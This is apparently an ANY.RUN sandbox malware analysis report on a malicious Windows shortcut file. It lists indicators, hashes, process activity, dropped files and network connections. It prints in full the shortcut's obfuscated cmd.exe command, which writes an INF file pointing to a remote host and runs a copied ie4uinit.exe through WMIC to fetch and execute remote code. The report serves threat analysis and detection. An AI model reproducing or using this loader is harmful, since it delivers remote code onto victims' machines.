File name:

susp.lnk

Full analysis: https://app.any.run/tasks/0378268e-246d-4ca3-a891-a491a8a3d671
Verdict: Malicious activity
Analysis date: August 22, 2024, 09:37:40
OS: Windows 10 Professional (build: 19045, 64 bit)
Indicators:
MIME: application/octet-stream
File info: MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Has command line arguments, Archive, ctime=Thu May 16 05:57:35 2024, mtime=Wed Aug 21 18:52:48 2024, atime=Thu May 16 05:57:35 2024, length=236544, window=hide
MD5:

F4CD0B6BDAF38CD5A3FDF4C26F1F8BCC

SHA1:

1AC64DCE06AB5B97A4C51747F82E334D313E779F

SHA256:

9FDBAC55DFE5C76F079E9A18B0E1484DDF33C5DC3B9AAF0746155BD168F51228

SSDEEP:

96:8lZGIJOk21Tltg9KCe0TTPiGRRT69BKrqK24iDg96JBdBQ2:8Dlv2KEKT7a8Wz4iDg9WTr

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Scans artifacts that could help determine the target

      • ie4uinit.exe (PID: 7016)

  • SUSPICIOUS

    • Application launched itself

      • cmd.exe (PID: 6696)
      • ie4uinit.exe (PID: 7016)

    • Starts CMD.EXE for commands execution

      • cmd.exe (PID: 6696)

    • Uses WMIC.EXE to create a new process

      • cmd.exe (PID: 6828)

    • Process drops legitimate windows executable

      • xcopy.exe (PID: 6800)

    • Executed via WMI

      • ie4uinit.exe (PID: 7016)

    • Executable content was dropped or overwritten

      • xcopy.exe (PID: 6800)

    • Process copies executable file

      • cmd.exe (PID: 6764)

    • Reads security settings of Internet Explorer

      • ie4uinit.exe (PID: 7016)
      • ie4uinit.exe (PID: 7056)

    • Uses RUNDLL32.EXE to load library

      • ie4uinit.exe (PID: 7056)

  • INFO

    • Creates files or folders in the user directory

      • xcopy.exe (PID: 6800)
      • ie4uinit.exe (PID: 7016)

    • Reads security settings of Internet Explorer

      • WMIC.exe (PID: 6864)

    • Checks supported languages

      • ie4uinit.exe (PID: 7016)
      • ie4uinit.exe (PID: 7056)

    • Reads the computer name

      • ie4uinit.exe (PID: 7016)
      • ie4uinit.exe (PID: 7056)

    • Checks proxy server information

      • ie4uinit.exe (PID: 7016)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.lnk | Windows Shortcut (100)

EXIF

LNK

Flags: IDList, LinkInfo, RelativePath, CommandArgs, Unicode, ExpString
FileAttributes: Archive
CreateDate: 2024:05:16 05:57:35+00:00
AccessDate: 2024:08:21 18:52:48+00:00
ModifyDate: 2024:05:16 05:57:35+00:00
TargetFileSize: 236544
IconIndex: (none)
RunWindow: Normal
HotKey: (none)
TargetFileDOSName: -
DriveType: Fixed Disk
VolumeLabel: -
LocalBasePath: -
RelativePath: ..\..\..\..\..\
CommandLineArguments: /v /c (for %b in (s) do @set "Valley=%~b") && !Valley!et "Ozone=et" && !Valley!!Ozone! "Reporters=a" && !Valley!!Ozone! "Grant=e" && !Valley!!Ozone! "Andreas=." && !Valley!!Ozone! "Sketch=t" && !Valley!!Ozone! "Genuine=$win" && !Valley!!Ozone! "Launches=si" && (for %q in (a) do @!Valley!!Ozone! "Average=%~q") && (for %g in (c) do @!Valley!!Ozone! "Sections=%~g") && !Valley!!Ozone! "Deputy=d" && !Valley!!Ozone! "Horror=s!Ozone!tings" && !Valley!!Ozone! "Waters=version" && !Valley!!Ozone! "Solve=ure = " && !Valley!!Ozone! "Moderators=default" && !Valley!!Ozone! "Highways=ni" && !Valley!!Ozone! "Depends=!Andreas!inf" && !Valley!!Ozone! "Saddle=ieui!Highways!t!Depends!" && c!Reporters!ll !Valley!!Ozone! "Swallow=%!Average!ppd!Reporters!ta%\micro!Valley!oft\" && s!Grant!t "Gardens=!Swallow!!Saddle!" && (for %b in ("[!Waters!]" "signat!Solve!!Genuine!dows ntf7f81a39-5f63-5b42-9efd-1f13b5431005quot; "[s!Sketch!ring!Valley!]" "Arena=t;Synthesis" "Before=:;Activities" "Gospel=/" "Boundaries=%time%" "Concerts=h" "Orbit=b;Inner" "Unless=i!Highways!t" "!Valley!ervicen!Average!me=' '" "!Valley!hortsvcn!Average!me=' '" "Housewares=com" "[695B]" "sc\" "ro%Orbit%j,NI,%Concerts%%Arena%%Arena%p%Before%%Gospel%%Gospel%kjbjvgckjivtx!Andreas!%Housewares%/luvtykgkg" "[68A]" "ieu%Unless%!Depends!" "[!Deputy!e!Valley!tinationdirs]" "!Moderators!destdir=11" "68A=01" "[!Moderators!in!Valley!tall.windows7]" "Un\" "Register\" "OCXs=695B" "!Deputy!elfil!Grant!s=68A" ) do @e!Sections!ho %~b)>"!Gardens!" && !Valley!!Ozone! "Better=ie4ui!Highways!t.!Grant!xe" && !Sections!all x!Sections!opy /Y /C /Q %win!Deputy!ir%\!Valley!ys!Sketch!!Grant!m32\!Better! "!Swallow!*" | !Valley!et Hidden67=Again && !Valley!t!Average!rt "" wmi!Sections! proce!Valley!s call !Sections!rea!Sketch!e "!Swallow!!Better! -base!Horror!" | !Valley!!Ozone! "Hidden1=Measure Structures Hybrid Achieve Together Advantages Multiply Candy Broccoli Images Index Routes Boost Trucks Outside Consultants Meals Strategies Campaigns Parks Customers Belongs Morris Legend Employees Choice Exists Influences Certificates Tonight Sales Meadow Profits Disputes Auction Senior Gesture Desert Tables Tomato Cabin Ivory Borrow Trailers Cable Height Mines Budget Level Reaches Personals Shops Notable Picnic Capabilities Barrel Inputs Wealth Refugees"
MachineID: -
No data.
screenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
148
Monitored processes
12
Malicious processes
1
Suspicious processes
1

Behavior graph

Click at the process to see the details
start cmd.exe no specs conhost.exe no specs cmd.exe no specs cmd.exe no specs xcopy.exe cmd.exe no specs cmd.exe no specs wmic.exe no specs conhost.exe no specs ie4uinit.exe no specs ie4uinit.exe no specs rundll32.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
6696"C:\Windows\System32\cmd.exe" /v /c (for %b in (s) do @set "Valley=%~b") && !Valley!et "Ozone=et" && !Valley!!Ozone! "Reporters=a" && !Valley!!Ozone! "Grant=e" && !Valley!!Ozone! "Andreas=." && !Valley!!Ozone! "Sketch=t" && !Valley!!Ozone! "Genuine=$win" && !Valley!!Ozone! "Launches=si" && (for %q in (a) do @!Valley!!Ozone! "Average=%~q") && (for %g in (c) do @!Valley!!Ozone! "Sections=%~g") && !Valley!!Ozone! "Deputy=d" && !Valley!!Ozone! "Horror=s!Ozone!tings" && !Valley!!Ozone! "Waters=version" && !Valley!!Ozone! "Solve=ure = " && !Valley!!Ozone! "Moderators=default" && !Valley!!Ozone! "Highways=ni" && !Valley!!Ozone! "Depends=!Andreas!inf" && !Valley!!Ozone! "Saddle=ieui!Highways!t!Depends!" && c!Reporters!ll !Valley!!Ozone! "Swallow=%!Average!ppd!Reporters!ta%\micro!Valley!oft\" && s!Grant!t "Gardens=!Swallow!!Saddle!" && (for %b in ("[!Waters!]" "signat!Solve!!Genuine!dows ntf7f81a39-5f63-5b42-9efd-1f13b5431005quot; "[s!Sketch!ring!Valley!]" "Arena=t;Synthesis" "Before=:;Activities" "Gospel=/" "Boundaries=%time%" "Concerts=h" "Orbit=b;Inner" "Unless=i!Highways!t" "!Valley!ervicen!Average!me=' '" "!Valley!hortsvcn!Average!me=' '" "Housewares=com" "[695B]" "sc\" "ro%Orbit%j,NI,%Concerts%%Arena%%Arena%p%Before%%Gospel%%Gospel%kjbjvgckjivtx!Andreas!%Housewares%/luvtykgkg" "[68A]" "ieu%Unless%!Depends!" "[!Deputy!e!Valley!tinationdirs]" "!Moderators!destdir=11" "68A=01" "[!Moderators!in!Valley!tall.windows7]" "Un\" "Register\" "OCXs=695B" "!Deputy!elfil!Grant!s=68A" ) do @e!Sections!ho %~b)>"!Gardens!" && !Valley!!Ozone! "Better=ie4ui!Highways!t.!Grant!xe" && !Sections!all x!Sections!opy /Y /C /Q %win!Deputy!ir%\!Valley!ys!Sketch!!Grant!m32\!Better! "!Swallow!*" | !Valley!et Hidden67=Again && !Valley!t!Average!rt "" wmi!Sections! proce!Valley!s call !Sections!rea!Sketch!e "!Swallow!!Better! -base!Horror!" | !Valley!!Ozone! "Hidden1=Measure Structures Hybrid Achieve Together Advantages Multiply Candy Broccoli Images Index Routes Boost Trucks Outside Consultants Meals Strategies Campaigns Parks Customers Belongs Morris Legend Employees Choice Exists Influences Certificates Tonight Sales Meadow Profits Disputes Auction Senior Gesture Desert Tables Tomato Cabin Ivory Borrow Trailers Cable Height Mines Budget Level Reaches Personals Shops Notable Picnic Capabilities Barrel Inputs Wealth Refugees"C:\Windows\System32\cmd.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
6704\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
6764C:\WINDOWS\system32\cmd.exe /S /D /c" call xcopy /Y /C /Q %windir%\system32\ie4uinit.exe "C:\Users\admin\AppData\Roaming\microsoft\*" "C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
6772C:\WINDOWS\system32\cmd.exe /S /D /c" set Hidden67=Again "C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
6800xcopy /Y /C /Q C:\WINDOWS\system32\ie4uinit.exe "C:\Users\admin\AppData\Roaming\microsoft\*" C:\Windows\System32\xcopy.exe
cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Extended Copy Utility
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\xcopy.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\ulib.dll
c:\windows\system32\ifsutil.dll
c:\windows\system32\cfgmgr32.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\devobj.dll
6828C:\WINDOWS\system32\cmd.exe /S /D /c" start "" wmic process call create "C:\Users\admin\AppData\Roaming\microsoft\ie4uinit.exe -basesettings" "C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sechost.dll
c:\windows\system32\bcrypt.dll
6836C:\WINDOWS\system32\cmd.exe /S /D /c" set "Hidden1=Measure Structures Hybrid Achieve Together Advantages Multiply Candy Broccoli Images Index Routes Boost Trucks Outside Consultants Meals Strategies Campaigns Parks Customers Belongs Morris Legend Employees Choice Exists Influences Certificates Tonight Sales Meadow Profits Disputes Auction Senior Gesture Desert Tables Tomato Cabin Ivory Borrow Trailers Cable Height Mines Budget Level Reaches Personals Shops Notable Picnic Capabilities Barrel Inputs Wealth Refugees""C:\Windows\System32\cmd.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\cmd.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
6864wmic process call create "C:\Users\admin\AppData\Roaming\microsoft\ie4uinit.exe -basesettings" C:\Windows\System32\wbem\WMIC.exe—cmd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
WMI Commandline Utility
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\wbem\wmic.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\iphlpapi.dll
c:\windows\system32\framedynos.dll
c:\windows\system32\combase.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\rpcrt4.dll
6888\??\C:\WINDOWS\system32\conhost.exe 0xffffffff -ForceV1C:\Windows\System32\conhost.exe—WMIC.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Console Window Host
Exit code:
0
Version:
10.0.19041.1 (WinBuild.160101.0800)
Modules
Images
c:\windows\system32\conhost.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcp_win.dll
c:\windows\system32\ucrtbase.dll
c:\windows\system32\shcore.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\combase.dll
c:\windows\system32\rpcrt4.dll
7016C:\Users\admin\AppData\Roaming\microsoft\ie4uinit.exe -basesettingsC:\Users\admin\AppData\Roaming\Microsoft\ie4uinit.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
IE Per-User Initialization Utility
Exit code:
0
Version:
11.00.19041.3996 (WinBuild.160101.0800)
Modules
Images
c:\users\admin\appdata\roaming\microsoft\ie4uinit.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\bcrypt.dll
c:\windows\system32\user32.dll
Total events
5 729
Read events
5 668
Write events
61
Delete events
0

Modification events

(PID) Process:(7016) ie4uinit.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\3
Operation:writeName:IEPropFontName
Value:
Times New Roman
(PID) Process:(7016) ie4uinit.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\3
Operation:writeName:IEFixedFontName
Value:
Courier New
(PID) Process:(7016) ie4uinit.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\4
Operation:writeName:IEPropFontName
Value:
Times New Roman
(PID) Process:(7016) ie4uinit.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\4
Operation:writeName:IEFixedFontName
Value:
Courier New
(PID) Process:(7016) ie4uinit.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\5
Operation:writeName:IEPropFontName
Value:
Times New Roman
(PID) Process:(7016) ie4uinit.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\5
Operation:writeName:IEFixedFontName
Value:
Courier New
(PID) Process:(7016) ie4uinit.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\6
Operation:writeName:IEPropFontName
Value:
Times New Roman
(PID) Process:(7016) ie4uinit.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\6
Operation:writeName:IEFixedFontName
Value:
Courier New
(PID) Process:(7016) ie4uinit.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\12
Operation:writeName:IEPropFontName
Value:
Raavi
(PID) Process:(7016) ie4uinit.exeKey:HKEY_CURRENT_USER\SOFTWARE\Microsoft\Internet Explorer\International\Scripts\12
Operation:writeName:IEFixedFontName
Value:
Raavi
Executable files
2
Suspicious files
0
Text files
6
Unknown types
0

Dropped files

PID
Process
Filename
Type
7056ie4uinit.exeC:\Users\admin\AppData\Local\Microsoft\Internet Explorer\ie4uinit-ClearIconCache.logtext
MD5:F5F4EF554BDA3A46EAEE91C1B1F3ED49
SHA256:BCF27FB899CCC9EB0C0F9664A8D00B26E5A15C420AD21ACAEEC69F1EF718BB66
6696cmd.exeC:\Users\admin\AppData\Roaming\Microsoft\ieuinit.inftext
MD5:63C99183E05368C8A93D1235FE86E101
SHA256:FCB9E165310F7714EBA02E5391955916BC02F66EF8F88E46984879639E1148CE
7016ie4uinit.exeC:\Users\admin\AppData\Local\Microsoft\Internet Explorer\brndlog.txttext
MD5:C7794F67F5778878AD85B428F304DA37
SHA256:070963E426CD3BEB119974A8843D9BB4A48DE4846FADE619668756F4B7406056
7016ie4uinit.exeC:\Users\admin\AppData\Local\Microsoft\Internet Explorer\brndlog.baktext
MD5:4B406A2E542690803FF4266440E42745
SHA256:48630371E6B16F2762363848C0B42A8E68A16C94C104C66B9F53D5E0E043C77F
7016ie4uinit.exeC:\Users\admin\AppData\Local\Microsoft\Internet Explorer\ie4uinit-basesettings.logtext
MD5:5744B931920074C07F607A27D434D8B9
SHA256:85482C065073E87C5B4DE336AD880A01B68ADE4CCF55A10CADA6E3DB1E839D3A
6800xcopy.exeC:\Users\admin\AppData\Roaming\Microsoft\ie4uinit.exeexecutable
MD5:FC4692D88845173CB727A17397A3D1FD
SHA256:59156DDFF65A95CD423207F5DEA18ECE3E0CD23B28C73FD837809AC23E0FF83A
7016ie4uinit.exeC:\Windows\Temp\OLDDB88.tmpini
MD5:63C99183E05368C8A93D1235FE86E101
SHA256:FCB9E165310F7714EBA02E5391955916BC02F66EF8F88E46984879639E1148CE
7016ie4uinit.exeC:\Users\admin\Favorites\Bing.urltext
MD5:1E7E5E93C2A5AADAF932F93D25C57F3E
SHA256:8B94D04FECE582E4182E8E73F46FB86EB8E965C69C526C42805ABB9E43641E35
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
5
TCP/UDP connections
47
DNS requests
25
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
5976
svchost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh%2FsBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAJ0LqoXyo4hxxe7H%2Fz9DKA%3D
unknown
—
—
whitelisted
7124
SIHClient.exe
GET
200
88.221.169.152:80
http://www.microsoft.com/pkiops/crl/Microsoft%20ECC%20Update%20Secure%20Server%20CA%202.1.crl
unknown
—
—
whitelisted
6124
backgroundTaskHost.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
5336
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTrjrydRyt%2BApF3GSPypfHBxR5XtQQUs9tIpPmhxdiuNkHMEWNpYim8S8YCEAI5PUjXAkJafLQcAAsO18o%3D
unknown
—
—
whitelisted
5336
SearchApp.exe
GET
200
192.229.221.95:80
http://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ50otx%2Fh0Ztl%2Bz8SiPI7wEWVxDlQQUTiJUIBiV5uNu5g%2F6%2BrkS7QYXjzkCEAn5bsKVVV8kdJ6vHl3O1J0%3D
unknown
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2468
svchost.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
4
System
192.168.100.255:138
—
—
—
whitelisted
2616
RUXIMICS.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
2120
MoUsoCoreWorker.exe
40.127.240.158:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
IE
unknown
2468
svchost.exe
51.124.78.146:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
3260
svchost.exe
40.113.103.199:443
client.wns.windows.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5976
svchost.exe
20.190.160.20:443
login.live.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
5976
svchost.exe
192.229.221.95:80
ocsp.digicert.com
EDGECAST
US
whitelisted
2120
MoUsoCoreWorker.exe
20.73.194.208:443
settings-win.data.microsoft.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
whitelisted
6124
backgroundTaskHost.exe
20.31.169.57:443
arc.msn.com
MICROSOFT-CORP-MSN-AS-BLOCK
NL
unknown

DNS requests

Domain
IP
Reputation
settings-win.data.microsoft.com
  • 40.127.240.158
  • 51.124.78.146
  • 20.73.194.208
whitelisted
google.com
  • 142.250.185.142
whitelisted
kjbjvgckjivtx.com
  • —
unknown
client.wns.windows.com
  • 40.113.103.199
whitelisted
login.live.com
  • 20.190.160.20
  • 40.126.32.136
  • 40.126.32.76
  • 40.126.32.138
  • 40.126.32.134
  • 20.190.160.22
  • 40.126.32.74
  • 40.126.32.140
whitelisted
ocsp.digicert.com
  • 192.229.221.95
whitelisted
arc.msn.com
  • 20.31.169.57
whitelisted
slscr.update.microsoft.com
  • 40.127.169.103
whitelisted
www.microsoft.com
  • 88.221.169.152
whitelisted
fe3cr.delivery.mp.microsoft.com
  • 13.95.31.18
whitelisted

Threats

No threats detected
No debug info
Interactive malware hunting service ANY.RUN
© 2017-2025 ANY.RUN ALL RIGHTS RESERVED
ANY.RUN
Reports
susp.lnk